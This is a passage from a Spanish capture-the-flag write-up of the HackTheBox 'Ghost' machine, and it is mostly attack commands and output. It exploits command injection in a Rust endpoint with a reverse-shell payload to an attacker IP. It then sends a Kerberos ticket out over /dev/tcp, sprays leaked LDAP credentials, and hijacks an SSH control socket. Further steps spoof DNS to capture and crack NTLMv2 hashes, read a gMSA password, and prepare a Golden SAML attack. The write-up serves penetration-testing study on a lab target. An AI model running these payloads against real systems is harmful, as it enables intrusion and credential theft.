โ”‚   โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ layoutNavigation.tsx
โ”‚   โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ news
โ”‚   โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ profile
โ”‚   โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ users
โ”‚   โ”‚   โ”‚   โ”‚       โ””โ”€โ”€ page.tsx
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ globals.css
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ login
โ”‚   โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ action.tsx
โ”‚   โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ form.tsx
โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ logout
โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ route.tsx
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”‚   โ”œโ”€โ”€ components
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ drawer.tsx
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ navbar.tsx
โ”‚   โ”‚   โ”œโ”€โ”€ helpers
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ fetch.ts
โ”‚   โ”‚   โ””โ”€โ”€ hooks
โ”‚   โ”‚       โ””โ”€โ”€ useUser.tsx
โ”‚   โ”œโ”€โ”€ tailwind.config.js
โ”‚   โ”œโ”€โ”€ tsconfig.json
โ”‚   โ””โ”€โ”€ yarn.lock
โ””โ”€โ”€ README.md

23 directories, 50 files

Realizaremos una bรบsqueda recursiva en todos los archivos para buscar en dรณnde hacen uso de la DEV_INTRANET_KEY. Verificamos que se hace uso de esta clave en el archivo dev.rs.

โฏ grep 'DEV_INTRANET_KEY' -r *
backend/src/api/dev.rs:                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
backend/.env.example:DEV_INTRANET_KEY=

Este cรณdigo implementa un guardia de acceso en Rocket, un framework web de Rust. La estructura DevGuard se utiliza para verificar si una solicitud tiene un encabezado especรญfico, X-DEV-INTRANET-KEY, y si el valor de este encabezado coincide con la variable de entorno DEV_INTRANET_KEY.

Si la clave es correcta, se permite el acceso, y el guardia devuelve un Outcome::Success. Si la clave es incorrecta o no se proporciona, se devuelve un Outcome::Error con un estado de Unauthorized (401).

Este guardia protege las rutas que requieren una clave de autenticaciรณn para acceder.

dev.rs
use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};

pub(crate) mod scan;

pub struct DevGuard;

#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
    type Error = ();

    async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
        let key = request.headers().get_one("X-DEV-INTRANET-KEY");
        match key {
            Some(key) => {
                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                    Outcome::Success(DevGuard {})
                } else {
                    Outcome::Error((Status::Unauthorized, ()))
                }
            },
            None => Outcome::Error((Status::Unauthorized, ()))
        }
    }
}

Por otro lado, nos encontramos con el siguiente archivo scan.rs que se utiliza para lo siguiente.

Este cรณdigo implementa una ruta en Rocket que permite escanear URLs en publicaciones de un blog. La ruta scan recibe una solicitud POST con una URL en formato JSON, utilizando la estructura ScanRequest.

El flujo de funcionamiento es el siguiente:

  1. Autenticaciรณn: Primero, se verifica que la solicitud tenga una clave vรกlida de acceso (DevGuard).

  2. Comando Bash: Luego, se ejecuta un comando en Bash con la URL proporcionada. Este comando intenta llamar a un script (intranet_url_check) que deberรญa verificar si la URL es segura.

  3. Respuesta: Dependiendo del resultado de la ejecuciรณn del comando, la funciรณn responde con un JSON que contiene:

    • is_safe: Indica si la URL es segura (actualmente siempre es true).

    • temp_command_success: Informa si el comando se ejecutรณ correctamente.

    • temp_command_stdout y temp_command_stderr: Muestran las salidas estรกndar y de error del comando ejecutado.

Este endpoint estรก diseรฑado para ser utilizado por el blog para verificar la seguridad de las URLs de los posts.

scan.rs
use std::process::Command;

use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;

use crate::api::dev::DevGuard;

#[derive(Deserialize)]
pub struct ScanRequest {
    url: String,
}

#[derive(Serialize)]
pub struct ScanResponse {
    is_safe: bool,
    // remove the following once the route is stable
    temp_command_success: bool,
    temp_command_stdout: String,
    temp_command_stderr: String,
}

// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

    match result {
        Ok(output) => {
            Json(ScanResponse {
                is_safe: true,
                temp_command_success: true,
                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
            })
        }
        Err(_) => Json(ScanResponse {
            is_safe: true,
            temp_command_success: false,
            temp_command_stdout: "".to_string(),
            temp_command_stderr: "".to_string(),
        })
    }
}

Le pasaremos el archivo scan.rs al ChatGPT para verificar si existen algunas vulnerabilidades en el archivo. En el resultado obtenido, verificamos que podemos realizar un Command Injection a travรฉs de la entrada de data.url.

Por lo tanto, lo que probaremos es de acceder al sistema a travรฉs de una Reverse Shell, para ello nos ponemos en escucha con nc.

โฏ nc -nlvp 443
listening on [any] 443 ...

Ejecutamos el siguiente comando para aprovecharnos de la vulnerabilidad descubierta para enviarnos una Reverse Shell.

โฏ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://gzzcoo.com;/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"}'

Verificamos que hemos ganado acceso al Docker del sistema que levanta la pรกgina de Intranet.

โฏ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49786
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app# hostname -I
hostname -I
172.18.0.3 

Shell as Florence.Ramirez

Information leaked in environment variables (env)

Al acceder al equipo, verificamos que nos encontramos como usuario root. Verificando las variables de entorno que tenemos, nos encontrams con una variable LDAP_BIND_PASSWORD que parecen ser unas credenciales de LDAP.

root@36b733906694:/app# env
SHELL=bash
DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
TERM=xterm
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=3
RUST_VERSION=1.79.0
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env

Realizaremos un Password Spraying para verificar si estas credenciales son vรกlidas para algรบn usuario que disponemos. Verificamos que son las credenciales vรกlidas del usuario intranet_principal.

โฏ nxc smb 10.10.11.24 -u users.txt -p 'He!KA9oKVT3rL99j' --continue-on-success
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [-] ghost.htb\kathryn.holland:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\cassandra.shelton:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\robert.steeves:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\florence.ramirez:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\justin.bradley:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\arthur.boyd:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\beth.clark:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\charles.gray:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\jason.taylor:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 
SMB         10.10.11.24     445    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j 
SMB         10.10.11.24     445    DC01             [-] ghost.htb\gitea_temp_principal:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE 

Realizaremos una exportaciรณn del BloodHound para verificar posibles vectores de ataque para elevar nuestros privilegios, de momento no logramos encontrar nada interesante.

โฏ nxc ldap 10.10.11.24 -u 'intranet_principal' -p 'He!KA9oKVT3rL99j'  --bloodhound --collection All --dns-server 10.10.11.24
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.24     389    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j 
LDAP        10.10.11.24     389    DC01             Resolved collection methods: group, dcom, trusts, localadmin, rdp, acl, session, psremote, container, objectprops
LDAP        10.10.11.24     389    DC01             Done in 00M 10S
LDAP        10.10.11.24     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.24_2025-02-07_212001_bloodhound.zip

Session Hijacking via SSH Control Socket

Volviendo al equipo de Docker, analizamos los archivos y directorios de la raรญz. Entre los cuales, nos encontramos con un archivo docker-entrypoint.sh en el cual al analizar el script, vemos que mencionan un directorio en /root/.ssh/controlmaster.

root@36b733906694:/# ls -l
total 76
drwxr-xr-x   1 root root 4096 Jul  5  2024 app
lrwxrwxrwx   1 root root    7 Jul  1  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Mar 29  2024 boot
drwxr-xr-x   5 root root  340 Feb  7 17:46 dev
-rwxr-xr-x   1 root root  215 Jul 22  2024 docker-entrypoint.sh
drwxr-xr-x   1 root root 4096 Jul 22  2024 etc
drwxr-xr-x   2 root root 4096 Mar 29  2024 home
lrwxrwxrwx   1 root root    7 Jul  1  2024 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Jul  1  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 Jul  1  2024 media
drwxr-xr-x   2 root root 4096 Jul  1  2024 mnt
drwxr-xr-x   2 root root 4096 Jul  1  2024 opt
dr-xr-xr-x 196 root root    0 Feb  7 17:46 proc
drwx------   1 root root 4096 Jul  5  2024 root
drwxr-xr-x   1 root root 4096 Jul  5  2024 run
lrwxrwxrwx   1 root root    8 Jul  1  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Jul  1  2024 srv
dr-xr-xr-x  13 root root    0 Feb  7 17:46 sys
drwxrwxrwt   1 root root 4096 Jul  5  2024 tmp
drwxr-xr-x   1 root root 4096 Jul  1  2024 usr
drwxr-xr-x   1 root root 4096 Jul  1  2024 var

root@36b733906694:/# cat docker-entrypoint.sh 
#!/bin/bash

mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes' > /root/.ssh/config

exec /app/ghost_intranet 

Accederemos a /root/.ssh/controlmaster y verificaremos que existe de un Socket de SSH del usuario florence.ramirez al equipo dev-workstation.

Un socket es un punto de comunicaciรณn que permite el intercambio de datos entre dos procesos en una red o en un sistema local. Es un concepto clave en la programaciรณn de redes y permite que aplicaciones en diferentes mรกquinas o en la misma mรกquina se comuniquen entre sรญ.

En este caso especรญfico, el archivo florence.ramirez@ghost.htb@dev-workstation:22 parece ser un socket de red. Los sockets se utilizan para establecer conexiones entre clientes y servidores, y se manejan mediante direcciones IP y puertos. Los detalles del nombre del archivo sugieren que es un socket Unix, que generalmente se utiliza para la comunicaciรณn entre procesos dentro de la misma mรกquina.

ยฟQuรฉ hace un socket?

  • Enlace entre procesos: Un socket permite que dos aplicaciones, ya sea en la misma mรกquina o en mรกquinas diferentes, se comuniquen a travรฉs de la red.

  • Tipos de sockets:

    • Sockets de flujo (TCP): Utilizados para una conexiรณn fiable.

    • Sockets de datagramas (UDP): Utilizados para comunicaciรณn sin conexiรณn y mรกs rรกpida, aunque menos fiable.

En este caso, el archivo indica que se trata de un socket Unix que estรก siendo utilizado por el servicio en el puerto 22, lo que sugiere que se estรก manejando alguna comunicaciรณn interna relacionada con SSH o un servicio similar entre procesos en la mรกquina.

Por tanto, este archivo de socket podrรญa estar facilitando una comunicaciรณn entre aplicaciones o servicios relacionados con el sistema florence.ramirez@ghost.htb y dev-workstation.

root@36b733906694:~/.ssh/controlmaster$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Feb  7 17:47 .
drwxr-xr-x 1 root root 4096 Jul  5  2024 ..
srw------- 1 root root    0 Feb  7 17:47 florence.ramirez@ghost.htb@dev-workstation:22

root@36b733906694:~/.ssh/controlmaster$ file florence.ramirez\@ghost.htb\@dev-workstation\:22 
florence.ramirez@ghost.htb@dev-workstation:22: socket

Al ejecutar el comando ssh -O check, revisamos si existe una conexiรณn SSH multiplexada activa. La respuesta Master running (pid=24) confirma que la conexiรณn principal estรก activa. Luego, con hostname -I, obtuvimos la direcciรณn IP de la mรกquina remota, que es 172.18.0.2. Finalmente, al usar id, vimos que el usuario conectado es florence.ramirez (UID 50), y pertenece a los grupos staff e it.

root@36b733906694:~/.ssh/controlmaster# ssh -O check -S ~/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb
Master running (pid=24)
florence.ramirez@LINUX-DEV-WS01:~$ hostname -I
172.18.0.2 
florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)

Reusing a Valid TGT for Lateral Movement

Al analizar nuevamente las variables de entorno de este nuevo usuario, verificamos que parece haber un Ticket Granting Ticket (TGT) del usuario que disponemos. Este ticket se encuentra almacenado enla variable KRB5CCNAME en el directorio /tmp/krb5cc_50.

florence.ramirez@LINUX-DEV-WS01:~$ env
SHELL=/bin/bash
PWD=/home/GHOST/florence.ramirez
KRB5CCNAME=FILE:/tmp/krb5cc_50
LOGNAME=florence.ramirez
MOTD_SHOWN=pam
HOME=/home/GHOST/florence.ramirez
SSH_CONNECTION=172.18.0.3 54228 172.18.0.2 22
TERM=xterm
USER=florence.ramirez
SHLVL=1
SSH_CLIENT=172.18.0.3 54228 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SSH_TTY=/dev/pts/0
_=/usr/bin/env

Accederemos al directorio mencionado, y comprobaremos de la existencia del TGT.

florence.ramirez@LINUX-DEV-WS01:/tmp$ ls -la krb5cc_50 
-rw------- 1 florence.ramirez staff 1650 Feb  7 19:49 krb5cc_50

En nuestro equipo atacante, nos pondremos en escucha para recibir el archivo mencionado.

โฏ nc -nlvp 443 > krb5cc_50
listening on [any] 443 ...

Desde el equipo vรญctima, enviaremos el archivo a travรฉs del /dev/tcp.

florence.ramirez@LINUX-DEV-WS01:/tmp$ cat krb5cc_50 > /dev/tcp/10.10.16.7/443

Verificamos que disponemos de este archivo en nuestro equipo local correctamente.

โฏ ls -l krb5cc_50
.rw-rw-r-- kali kali 1.6 KB Fri Feb  7 20:51:29 2025 ๏€– krb5cc_50
โฏ file krb5cc_50
krb5cc_50: data

Exportaremos el TGT en la variable KRB5CCNAME y verificaremos que el ticket es vรกlido y lo podemos utilizar.

โฏ export KRB5CCNAME=$(pwd)/krb5cc_50

โฏ klist -i
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
07/02/25 20:51:02  08/02/25 06:51:02  krbtgt/GHOST.HTB@GHOST.HTB
	renew until 08/02/25 20:51:01

A travรฉs de nxc, validaremos que el TGT es vรกlido y podemos hacer uso de este para autenticarnos como el usuario florence.ramirez sin disponer de sus credenciales.

โฏ nxc smb 10.10.11.24 -u 'florence.ramirez' -k --use-kcache
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\florence.ramirez from ccache 

Shell as justin.bradley

DNS Spoofing to Capture NTLMv2 Hash from User Attempting to Access Bitbucket

Despuรฉs de investigar en BloodHound para verificar las acciones posibles con el usuario florence.ramirez, no encontramos ninguna vulnerabilidad clara. Sin embargo, recordamos que en la Intranet, el usuario justin.bradley mencionaba que estaba teniendo problemas para acceder a bitbucket.ghost.htb.

Esto nos llevรณ a pensar que podrรญamos revisar si esa entrada estรก registrada en el servidor DNS del Domain Controller. Si no lo estรก, una opciรณn serรญa verificar si tenemos permisos para agregar una nueva entrada y redirigir el subdominio a nuestro servidor web, lo que nos permitirรญa realizar un ataque de DNS Spoofing.

A travรฉs de la herramienta de bloodyAD realizaremos una consulta de los registros DNS del servidor.

โฏ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump

zoneName: ghost.htb

SOA.PrimaryServer: dc01.ghost.htb
SOA.zoneAdminEmail: hostmaster@ghost.htb
NS: dc01.ghost.htb
A: 10.0.0.254; 127.0.0.1; 10.10.11.24
recordName: ghost.htb

recordName: _gc._tcp.ghost.htb
SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268

recordName: _gc._tcp.Default-First-Site-Name._sites.ghost.htb
SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268

recordName: _kerberos._tcp.ghost.htb
SRV: dc01.ghost.htb:88
...[snip]...

Dado que el resultado era bastante extenso, lo que realizamos es reenviar la salida del comando a un archvo llamado dnsDump.txt, para posteriormente filtrar por bitbucket en el archivo para comprobar si existรญa esta entrada. En este caso, verificamos que no hay la existencia de este subdominio en los registros del servidor DNS del DC.

โฏ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump > dnsDump.txt
โฏ grep 'bitbucket' dnsDump.txt

Mediante la herramienta de bloodyAD lo que probamos es de intentar aรฑadir un registro DNS llamado bitbucket para que apuntรกse hacรญa nuestro servidor web. Comprobamos que se ha podido aรฑadir correctamente el registro, alparecer disponรญamos de los permisos necesarios con el usuario florence.ramirez.

โฏ bloodyAD --host dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.16.7
[+] bitbucket has been successfully added

Utilizaremos el responder para levantar los servicios. Despuรฉs de un tiempo, verificamos que nos llega el hash NTLMv2 del usuario justin.bradley, lo cual nos confirma del รฉxito del DNS Spoofing.

โฏ sudo responder -I tun0
...[snip]...
[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:379fd6cc8a217192:57521556E3919754EBD8F3CEF7C53692:010100000000000055A059C39A79DB0196D7986191DE13BA00000000020008005400460043004E0001001E00570049004E002D004D004D004C00550059003000520039004F004E003500040014005400460043004E002E004C004F00430041004C0003003400570049004E002D004D004D004C00550059003000520039004F004E0035002E005400460043004E002E004C004F00430041004C00050014005400460043004E002E004C004F00430041004C00080030003000000000000000000000000040000076536FB96280E0573AB44A1AC8269946A2295E50D4C33E8D9D4B3161337ACEAC0A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000

Trataremos de crackear el hash obtenido y comprobamos que logramos crackear el hash y obtener las credenciales del usuario mencionado.

โฏ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU

...[snip]...

JUSTIN.BRADLEY::ghost:379fd6cc8a217192:57521556e3919754ebd8f3cef7c53692:010100000000000055a059c39a79db0196d7986191de13ba00000000020008005400460043004e0001001e00570049004e002d004d004d004c00550059003000520039004f004e003500040014005400460043004e002e004c004f00430041004c0003003400570049004e002d004d004d004c00550059003000520039004f004e0035002e005400460043004e002e004c004f00430041004c00050014005400460043004e002e004c004f00430041004c00080030003000000000000000000000000040000076536fb96280e0573ab44a1ac8269946a2295e50d4c33e8d9d4b3161337aceac0a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$

Trataremos de validar a travรฉs de nxc de si las credenciales son vรกlidas para el usuario, comprobamos que podemos autenticarnos con dichas credenciales y ademรกs tenemos permisos para acceder al DC mediante WinRM dado que tenemos de los permisos necesarios.

โฏ nxc smb 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ 

โฏ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)

Abusing WinRM -EvilWinRM

Nos conectaremos al Domain Controller a travรฉs de evil-winrm y logramos visualizar la flag de user.txt.

โฏ evil-winrm -i 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> type ../Desktop/user.txt
56ee926c00f*********************

BloodHound Enumeration

Revisaremos en BloodHound los Domain Admins existentes en el dominio, en este caso, solamente se muestra al usuarioAdministrator.

Por otro lado, verificamos que el usuario ADFS_GMSA$ es Kerberoastable. Tratamos de crackear su hash obtenido, pero no logramos crackear el hash para obtener la contraseรฑa del usuario.

Shell as ADFS_GMSA$

Abusing ReadGMSAPassword (PowerView.py)

Revisando nuevamente en BloodHound, comprobamos que el usuario actual justin.bradley dispone de privilegios de ReadGMSAPassword sobre el objeto ADFS_GMSA$.

Los privilegios de ReadGMSAPassword permiten a usuarios o grupos recuperar la contraseรฑa de una Group Managed Service Account (gMSA) en un entorno de Active Directory. Estos privilegios se asignan para que ciertos servicios, servidores o aplicaciones puedan autenticarse automรกticamente utilizando la cuenta sin necesidad de gestiรณn manual de contraseรฑas. Sin embargo, si son otorgados a usuarios no autorizados, podrรญan permitir el acceso a servicios crรญticos o realizar ataques de escalaciรณn de privilegios.

Para recuperar la contraseรฑa GMSA decidimos utillizar la herramienta de PowerView.py, al realizar la consulta de Get-GMSA logramos obtener el hash NTLM del objeto ADFS_GMSA$.

โฏ powerview ghost.htb/'justin.bradley':'Qwertyuiop1234$$'@10.10.11.24 --dc-ip 10.10.11.24
Logging directory is set to /home/kali/.powerview/logs/ghost-justin.bradley-10.10.11.24
[2025-02-07 21:27:49] [Storage] Using cache directory: /home/kali/.powerview/storage/ldap_cache
(LDAPS)-[DC01.ghost.htb]-[GHOST\justin.bradley]
PV > Get-GMSA
ObjectDnsHostname           : federation.ghost.htb
ObjectSAN                   : adfs_gmsa$
ObjectSID                   : S-1-5-21-4084500788-938703357-3654145966-4101
PrincipallAllowedToRead     : GHOST\DC01$
                              GHOST\justin.bradley
GMSAPassword                : 0bef79ae4d25b1864570212e33922d14

Validaremos que el hash NTLM del usuario nos sirve para autenticarnos correctamente en el dominio.

โฏ nxc smb 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\ADFS_GMSA$:0bef79ae4d25b1864570212e33922d14

Verificamos que el usuario ADFS_GMSA$ dispone del privilegio de CanPSRemote sobre el Domain Controller, con lo cual, podrรญamos conectarnos remotamente al DC.

Nos conectaremos al DC mediante evil-winrm, verificamos el acceso correctamente.

โฏ evil-winrm -i 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> 

Shell as mssqlserver

Active Directory Federation Services (ADFS) - Golden SAML Attack

Por el nombre del equipo, pensamos que quizรกs estรฉ relacionado con los Active Directory Federation Services (ADFS).

Los Active Directory Federation Services (ADFS) son una soluciรณn de Microsoft para proporcionar acceso รบnico (SSO) a aplicaciones que no estรกn dentro del dominio local de Active Directory. A travรฉs de ADFS, los usuarios pueden acceder a aplicaciones externas o servicios web sin necesidad de ingresar credenciales repetidamente. ADFS funciona emitiendo tokens SAML (Security Assertion Markup Language) que contienen informaciรณn sobre la identidad del usuario y sus permisos.

Por lo cual, se nos ocurriรณ en intentar realizar un Golden SAML Attack.

El Golden SAML Attack es una tรฉcnica utilizada para explotar las vulnerabilidades de autenticaciรณn en ADFS. En este ataque, el atacante roba el certificado utilizado para firmar los tokens SAML y lo usa para crear tokens de autenticaciรณn falsificados que le permiten acceder a aplicaciones federadas sin necesidad de que el usuario real estรฉ presente. Es una forma muy efectiva de realizar escalada de privilegios o moverse lateralmente dentro de una red comprometida.

En este caso, con acceso a la cuenta ADFS_GMSA$, que tiene privilegios sobre el Domain Controller (DC), un atacante puede potencialmente usar esta cuenta para generar un Golden SAML Token. Con dicho token, el atacante podrรญa acceder a cualquier servicio federado que dependa de ADFS para autenticaciรณn, como si fuera un usuario legรญtimo.

LogoActive Directory - Federation Services - Internal All The Things

Para realizar el Golden SAML Attack, debemos disponer del binario ADFDump.exe, una herramienta muy รบtil en este tipo de explotaciรณn. ADFDump.exe nos permite volcar los datos necesarios desde un Active Directory Federation Services (ADFS) y extraer el certificado privado que se utiliza para firmar los tokens SAML. Este certificado es crucial, ya que es la clave para crear tokens SAML falsificados.

Una vez obtenemos este certificado, podemos generar un token SAML vรกlido para cualquier usuario dentro del dominio, lo que nos permite suplantar identidades y acceder a servicios federados como si fuรฉramos usuarios legรญtimos. Lo mejor de este ataque es que, al no necesitar intervenciรณn directa de los usuarios afectados, es muy difรญcil de detectar.

El proceso general serรญa:

  1. Obtenciรณn del certificado: Usamos ADFDump.exe para extraer el certificado privado de ADFS, el cual se encuentra en el servidor de ADFS.

  2. Creaciรณn del Golden SAML Token: Con el certificado, generamos el token SAML falso que contiene los datos de cualquier usuario, como si fuera un token legรญtimo.

  3. Acceso a los servicios federados: Utilizamos el token para acceder a aplicaciones federadas que confรญan en el sistema de ADFS para autenticaciรณn.

โฏ ls -l LateralMovement
โฏ git clone https://github.com/jakobfriedl/precompiled-binaries; cd precompiled-binaries/LateralMovement
Clonando en 'precompiled-binaries'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 242 (delta 18), reused 11 (delta 3), pack-reused 201 (from 1)
Recibiendo objetos: 100% (242/242), 8.53 MiB | 14.65 MiB/s, listo.
Resolviendo deltas: 100% (110/110), listo.
โฏ ls -l
drwxrwxr-x kali kali 4.0 KB Fri Feb  7 21:49:08 2025 ๏„• AzureAD
drwxrwxr-x kali kali 4.0 KB Fri Feb  7 21:49:08 2025 ๏„• CertificateAbuse
drwxrwxr-x kali kali 4.0 KB Fri Feb  7 21:49:08 2025 ๏„• GPOAbuse
.rw-rw-r-- kali kali  30 KB Fri Feb  7 21:49:08 2025 ๏…บ ADFSDump.exe
.rw-rw-r-- kali kali 4.5 KB Fri Feb  7 21:49:08 2025 ๏…บ ADModule.dll
.rw-rw-r-- kali kali 487 KB Fri Feb  7 21:49:08 2025 ๏…บ Rubeus.exe
.rw-rw-r-- kali kali  50 KB Fri Feb  7 21:49:08 2025 ๏…บ RunasCs.exe
.rw-rw-r-- kali kali  50 KB Fri Feb  7 21:49:08 2025 ๏…บ Sharpmad.exe
